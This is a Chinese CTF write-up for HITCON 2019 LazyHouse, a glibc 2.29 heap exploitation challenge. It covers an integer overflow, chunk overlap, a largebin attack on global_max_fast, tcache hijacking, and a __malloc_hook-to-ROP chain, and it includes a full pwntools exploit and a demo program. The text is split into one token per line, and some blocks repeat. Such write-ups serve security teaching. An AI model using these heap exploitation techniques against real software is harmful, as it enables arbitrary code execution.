-
-
Hitcon_CTF_2019_LazyHouse
-
发表于: 2020-10-3 11:02 4215
-
实际上我看了一下2.29下的源码,在插入时利用的时候与低版本相比似乎源代码上并没有什么区别
这个搞了一个小demo来理解一下:
你看这里,要求 size>127 && 218*size <= 116630
那么等价于要求:size>127 && size <=535
然后你会发现,实际上我们的 money 不是无限的。但是如果我们将size设置成一个很大的值。让 218*size 发生溢出(size是无符号整型),那么第二个if也会被pass掉此时global_node[index].price会被设置成一个极大的值,其实就是对应房子的价格。此时如果我们在调用delete函数卖掉房子,那么money就会被加回来达到一个极大值,从而实现我们几乎有无限多的钱可以购买house
64位unsigned int大小范围内:[0 , 2^64 -1],那么:我们让size*218>2^64 -1就可以溢出了
此时我们的money已经成为了一个极大值。我们几乎可以随便买房子orz。
一旦涉及到高版本的overlap的问题,看起来是后向合并用的比较多
首先我们申请chunk排布如下:
之后我们填满大小为0x250的tcachebin。
首先我们edit chunk1,向下溢出劫持chunk2的size(变成0x781)使得chunk2 --> chunk4全部合并overlap掉,此时free掉chunk2,他们三个一起进入unsortedbin,大小0x781
然后我们重新add大小0x338的回来,此时造成chunk3的一部分被overlap了,如下:
此时我们再add(0x600),那么切割剩余的lastremainder会被放入largebin中,并且放上nexsize与fd、bk指针,由于其实我们只free了chunk2,那么此时show一下chunk3就同时获得了libc与heap地址
我们free chunk3然后再add回来,此时就可以劫持bk_nextsize指针了。
触发largebin attack任意写条件如下:
之后add一次触发一下切割。此时出发了largebin attack任意写,使得evil_addr上写入了chunk地址(一个大数)
global_max_fast已经变成了极大值,如果我们再次free大小为0x250的,由于tcache已满且fastbin变大,那么他会被挂在main_arena+296的位置(此时这里被变成了fastbin),基于这个我们可以做fastbin attack
由于已经劫持了global_max_fast,此时我们free出的0x250大小的chunk会被挂在main_arena+296上。
我们free大小为0x250的chunk3,然后通过edit chunk2进行溢出,劫持在evil fastbin(main_arena+296)中的chunk3的fd指针指向tcache_pthread_struct,准备劫持tcache
add一次0x250的chunk回来,同时在add的时候把orw的rop chains布置到堆上去。
然后将tcahce_pthread_struct申请回来,劫持大小为0x220的对应tcache_entry指针指向__malloc_hook,接下来如果我们再malloc(0x220)就可以劫持__malloc_hook了。
本道题中,calloc调用如下:chunk_addr = (char *)calloc(1uLL, size);
首先看一下calloc反汇编出来的:
再向下进行:
直接调用了__malloc_hook:
至此,本题的利用到此结束。
https://blog.csdn.net/weixin_34268310/article/details/91571229
https://blog.csdn.net/qq_23066945/article/details/103070322
http://blog.eonew.cn/archives/1263#LazyHouse
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
{
victim_index
=
smallbin_index (size);
bck
=
bin_at (av, victim_index);
fwd
=
bck
-
>fd;
}
else
/
/
当要插入的不是smallbin大小而是largebin大小
{
victim_index
=
largebin_index (size);
/
/
根据size获取对应的largebin index
bck
=
bin_at (av, victim_index);
/
/
拿对应largebin index的表头
fwd
=
bck
-
>fd;
/
/
对应largebin index的前一个表头
/
*
maintain large bins
in
sorted
order
*
/
/
/
当此时largebin不为空时
if
(fwd !
=
bck)
{
/
*
Or with inuse bit to speed comparisons
*
/
size |
=
PREV_INUSE;
/
*
if
smaller than smallest, bypass loop below
*
/
assert
(chunk_main_arena (bck
-
>bk));
if
((unsigned
long
) (size)
< (unsigned
long
) chunksize_nomask (bck
-
>bk))
/
/
要插入的chunk的size小于最小的,那么他即将成为新的表头,并且是最小的
{
/
/
bck是对应的largebin index表头
/
/
fwd是对应的largebin index的前一个表头
fwd
=
bck;
bck
=
bck
-
>bk;
/
/
nextsize成链
victim
-
>fd_nextsize
=
fwd
-
>fd;
victim
-
>bk_nextsize
=
fwd
-
>fd
-
>bk_nextsize;
fwd
-
>fd
-
>bk_nextsize
=
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
else
/
/
如果不是最小的,那么说明就要插到中间
{
assert
(chunk_main_arena (fwd));
/
/
while
负责找到此时largebin中第一个比它大于或等于的
while
((unsigned
long
) size < chunksize_nomask (fwd))
{
fwd
=
fwd
-
>fd_nextsize;
assert
(chunk_main_arena (fwd));
}
if
((unsigned
long
) size
/
/
如果是等于
=
=
(unsigned
long
) chunksize_nomask (fwd))
/
*
Always insert
in
the second position.
*
/
fwd
=
fwd
-
>fd;
/
/
直接插到后面,不用改nextsize指针了
else
{
/
/
如果不是等于而是大于
/
/
需要做nextsize成链
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
bck
=
fwd
-
>bk;
}
}
/
/
当largebin为空时
else
victim
-
>fd_nextsize
=
victim
-
>bk_nextsize
=
victim;
}
mark_bin (av, victim_index);
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
{
victim_index
=
smallbin_index (size);
bck
=
bin_at (av, victim_index);
fwd
=
bck
-
>fd;
}
else
/
/
当要插入的不是smallbin大小而是largebin大小
{
victim_index
=
largebin_index (size);
/
/
根据size获取对应的largebin index
bck
=
bin_at (av, victim_index);
/
/
拿对应largebin index的表头
fwd
=
bck
-
>fd;
/
/
对应largebin index的前一个表头
/
*
maintain large bins
in
sorted
order
*
/
/
/
当此时largebin不为空时
if
(fwd !
=
bck)
{
/
*
Or with inuse bit to speed comparisons
*
/
size |
=
PREV_INUSE;
/
*
if
smaller than smallest, bypass loop below
*
/
assert
(chunk_main_arena (bck
-
>bk));
if
((unsigned
long
) (size)
< (unsigned
long
) chunksize_nomask (bck
-
>bk))
/
/
要插入的chunk的size小于最小的,那么他即将成为新的表头,并且是最小的
{
/
/
bck是对应的largebin index表头
/
/
fwd是对应的largebin index的前一个表头
fwd
=
bck;
bck
=
bck
-
>bk;
/
/
nextsize成链
victim
-
>fd_nextsize
=
fwd
-
>fd;
victim
-
>bk_nextsize
=
fwd
-
>fd
-
>bk_nextsize;
fwd
-
>fd
-
>bk_nextsize
=
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
else
/
/
如果不是最小的,那么说明就要插到中间
{
assert
(chunk_main_arena (fwd));
/
/
while
负责找到此时largebin中第一个比它大于或等于的
while
((unsigned
long
) size < chunksize_nomask (fwd))
{
fwd
=
fwd
-
>fd_nextsize;
assert
(chunk_main_arena (fwd));
}
if
((unsigned
long
) size
/
/
如果是等于
=
=
(unsigned
long
) chunksize_nomask (fwd))
/
*
Always insert
in
the second position.
*
/
fwd
=
fwd
-
>fd;
/
/
直接插到后面,不用改nextsize指针了
else
{
/
/
如果不是等于而是大于
/
/
需要做nextsize成链
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
bck
=
fwd
-
>bk;
}
}
/
/
当largebin为空时
else
victim
-
>fd_nextsize
=
victim
-
>bk_nextsize
=
victim;
}
mark_bin (av, victim_index);
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
1
#include <stdio.h>
2
#include <stdlib.h>
3
4
size_t buf[
0x10
];
/
/
buf
is
in
.bss
5
int
main()
6
{
7
size_t
*
ptr,
*
ptr2,
*
ptr3;
8
setbuf(stdout, NULL);
9
setbuf(stdin,NULL);
10
setbuf(stderr,NULL);
11
printf(
"buf addr:%p\n"
,buf);
12
13
ptr
=
malloc(
0x438
);
14
15
malloc(
0x18
);
16
ptr2
=
malloc(
0x448
);
17
malloc(
0x18
);
18
free(ptr);
19
/
/
put ptr intolarge
bin
20
malloc(
0x600
);
21
22
free(ptr2);
23
printf(
"ptr in largebin : %p\n"
,ptr);
24
25
puts(
"set largebin chunk's fd_nextsize = NULL"
);
26
ptr[
2
]
=
0
;
27
puts(
"set largebin chunk's bk_nextsize = buf"
);
28
ptr[
3
]
=
(size_t)&buf[
0
];
29
getchar();
30
printf(
"Original buf[4]:0x%lx\n"
, buf[
4
]);
31
ptr3
=
malloc(
0x68
);
32
printf(
"After largebin attack( malloc(0x68) )\nbuf[4]:0x%lx\n"
, buf[
4
]);
33
34
35
printf(
"Arbitrary write trigger!!!!\n"
);
36
return
0
;
37
}
1
#include <stdio.h>
2
#include <stdlib.h>
3
4
size_t buf[
0x10
];
/
/
buf
is
in
.bss
5
int
main()
6
{
7
size_t
*
ptr,
*
ptr2,
*
ptr3;
8
setbuf(stdout, NULL);
9
setbuf(stdin,NULL);
10
setbuf(stderr,NULL);
11
printf(
"buf addr:%p\n"
,buf);
12
13
ptr
=
malloc(
0x438
);
14
15
malloc(
0x18
);
16
ptr2
=
malloc(
0x448
);
17
malloc(
0x18
);
18
free(ptr);
19
/
/
put ptr intolarge
bin
20
malloc(
0x600
);
21
22
free(ptr2);
23
printf(
"ptr in largebin : %p\n"
,ptr);
24
25
puts(
"set largebin chunk's fd_nextsize = NULL"
);
26
ptr[
2
]
=
0
;
27
puts(
"set largebin chunk's bk_nextsize = buf"
);
28
ptr[
3
]
=
(size_t)&buf[
0
];
29
getchar();
30
printf(
"Original buf[4]:0x%lx\n"
, buf[
4
]);
31
ptr3
=
malloc(
0x68
);
32
printf(
"After largebin attack( malloc(0x68) )\nbuf[4]:0x%lx\n"
, buf[
4
]);
33
34
35
printf(
"Arbitrary write trigger!!!!\n"
);
36
return
0
;
37
}
36
def
uint_overflow():
37
sal(cho,
'1'
)
38
money
=
((
2
*
*
64
-
1
)
/
218
)
+
1
# unsigned int overflow
39
sal(ind,
'0'
)
40
sal(siz,
str
(money))
41
sell(
0
)
36
def
uint_overflow():
37
sal(cho,
'1'
)
38
money
=
((
2
*
*
64
-
1
)
/
218
)
+
1
# unsigned int overflow
39
sal(ind,
'0'
)
40
sal(siz,
str
(money))
41
sell(
0
)
pwndbg> p
/
x
0x4b27ed3604b445fe
$
1
=
0x4b27ed3604b445fe
pwndbg> p
0x4b27ed3604b445fe
$
2
=
5415557893199250942
pwndbg> p
/
x
0x4b27ed3604b445fe
$
1
=
0x4b27ed3604b445fe
pwndbg> p
0x4b27ed3604b445fe
$
2
=
5415557893199250942
# encoding=utf-8
# echo "flag{ScUpax0s_lazyhouse} > ./flag"
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/usr/lib/x86_64-linux-gnu/libc-2.29.so"
elf_path
=
"./lazyhouse"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'Your choice:'
# choice提示语
siz
=
'Size:'
# size输入提示语
con
=
''
# content输入提示语
ind
=
'Index:'
# index输入提示语
edi
=
''
# edit输入提示语
mon
=
'Your money:'
pri
=
'Price:'
hou
=
'House:'
def
uint_overflow():
sal(cho,
'1'
)
money
=
((
2
*
*
64
-
1
)
/
218
)
+
1
# unsigned int overflow
sal(ind,
'0'
)
sal(siz,
str
(money))
sell(
0
)
def
add(index,size,content
=
'
',c='
1
'):
sal(cho,c)
sal(ind,
str
(index))
sal(siz,
str
(size))
sal(hou,content)
def
sell(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'2'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
4
'):
sal(cho,c)
sal(ind,
str
(index))
sa(hou,content)
def
call_malloc(content
=
'
',c='
5
'):
# malloc(0x217)
sal(cho,c)
sal(hou,content)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
exp():
global
io
io
=
process(elf_path)
get_proc_base(io)
get_libc_base(io)
# trigger imul overflow to get infinite money
uint_overflow()
# chunk overlap
add(
0
,
0x88
,
'chunk1'
)
# free
add(
1
,
0x248
,
'chunk2'
)
# overlap
add(
2
,
0x248
,
'chunk3'
)
# overlap
add(
6
,
0x248
,
'chunk4'
)
# overlap
add(
3
,
0x88
,
'chunk5'
)
add(
7
,
0x88
,
'chunk6'
)
add(
4
,
0x448
,
'chunk7'
)
for
i
in
range
(
7
):
add(
5
,
0x248
,
'chunk5'
)
sell(
5
)
# Leak Libc and Heap address
edit(
0
,
'a'
*
0x80
+
p64(
0
)
+
p64(
0x781
))
# overlap:chunk1 -> chunk3
sell(
1
)
add(
1
,
0x338
,
'b'
*
0x240
+
p64(
0
)
+
p64(
0x251
))
# add back #1 and partial #2 chunk
add(
5
,
0x600
,
'chunk5'
)
# put the remainder(0x780-0x340=0x440) into largebin directly.
show(
2
)
# now partial chunk2 in largebin
libc.address
=
u64(ru(
"\x7f"
)[
-
6
:].ljust(
8
,
'\x00'
))
-
libc.sym[
'__malloc_hook'
]
-
1120
-
0x10
# fd
r(
2
)
success(
"libc:"
+
hex
(libc.address))
r(
8
)
# bk
heap
=
u64(r(
8
))
-
0x620
# fd_nextsize point to itself
success(
"heap:"
+
hex
(heap))
# LargeBin Attack
sell(
2
)
# put chunk2 into unsortedbin(because tcahce is FULL)
global_max_fast
=
libc.address
+
0x1e7600
fd
=
bk
=
libc.address
+
0x1e50a0
fd_nextsize
=
0
bk_nextsize
=
global_max_fast
-
0x20
add(
2
,
0x248
,
'\x00'
*
0xe8
+
p64(
0x441
)
+
p64(fd)
+
p64(bk)
+
p64(fd_nextsize)
+
p64(bk_nextsize))
# hijack bk_nextsize to global max fast
sell(
4
)
# put chunk7 (0x450) into unsortedbin
add(
4
,
0x88
,
'largebin attack trigger!'
)
# trigger largebin attack, Arbitrary Write to change global_max_fast a huge number.
# Fastbin attack
sell(
4
)
sell(
2
)
# chunk2 now in main_arena+296, because fastbin exteneded
edit(
1
,
'\x00'
*
0x248
+
p64(
0x251
)
+
p64(heap))
# through edit to hijack chunk2's next pointer to hijack tcache_pthread_struct (both size are 0x250, so it is OK to bypass fastbin's size check)
pop_rdi
=
0x0000000000026542
+
libc.address
pop_rsi
=
0x0000000000026f9e
+
libc.address
pop_rdx
=
0x000000000012bda6
+
libc.address
syscall
=
0x00000000000cf6c5
+
libc.address
pop_rax
=
0x0000000000047cf8
+
libc.address
flag_str_addr
=
heap
+
0x540
+
0x100
flag_addr
=
heap
+
0x540
# open -> read -> write
orw
=
flat([
0
,
pop_rdi,
flag_str_addr,
pop_rsi,
0
,
pop_rax,
2
,
syscall,
# open("./flag",0);
pop_rdi,
3
,
pop_rsi,
flag_addr,
pop_rdx,
0x100
,
pop_rax,
0
,
syscall,
# read(3,flag_addr,0x100)
pop_rdi,
1
,
pop_rsi,
flag_addr,
pop_rdx,
0x100
,
pop_rax,
1
,
syscall,
# write(1,flag_addr,0x100)
pop_rdi,
0
,
pop_rax,
231
,
syscall
])
# now in evil Fastbin(main_arena+296):
# evil_Fastbin(main_arena+296) --> chunk2 --> tcache_pthread_struct
add(
2
,
0x248
,orw.ljust(
0x100
,
'\x00'
)
+
'./flag\x00'
)
# put your rop chains into chunk2, and then the tcache_pthread_struct will be the chunk in your evil Fastbin(main_arena+296)
leave_ret
=
libc.address
+
0x0000000000058373
success(
"__malloc_hook:"
+
hex
(libc.sym[
'__malloc_hook'
]))
add(
4
,
0x248
,
'\0'
*
0x40
+
p64(
0
)
*
0x20
+
p64(libc.sym[
'__malloc_hook'
]))
# get tcache_pthread_struct back, and set (0x220)tcache_entry[32] --> malloc_hook
call_malloc(p64(leave_ret))
# now malloc_hook = addr of leave;ret
success(
"rop target:"
+
str
(heap
+
0x540
))
sell(
4
)
io.sendafter(
'Your choice: '
,
'1\0'
.ljust(
0x20
,
'0'
))
io.sendlineafter(
'Index:'
,
str
(
4
))
io.sendlineafter(
'Size:'
,
str
(heap
+
0x540
))
shell()
exp()
# encoding=utf-8
# echo "flag{ScUpax0s_lazyhouse} > ./flag"
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)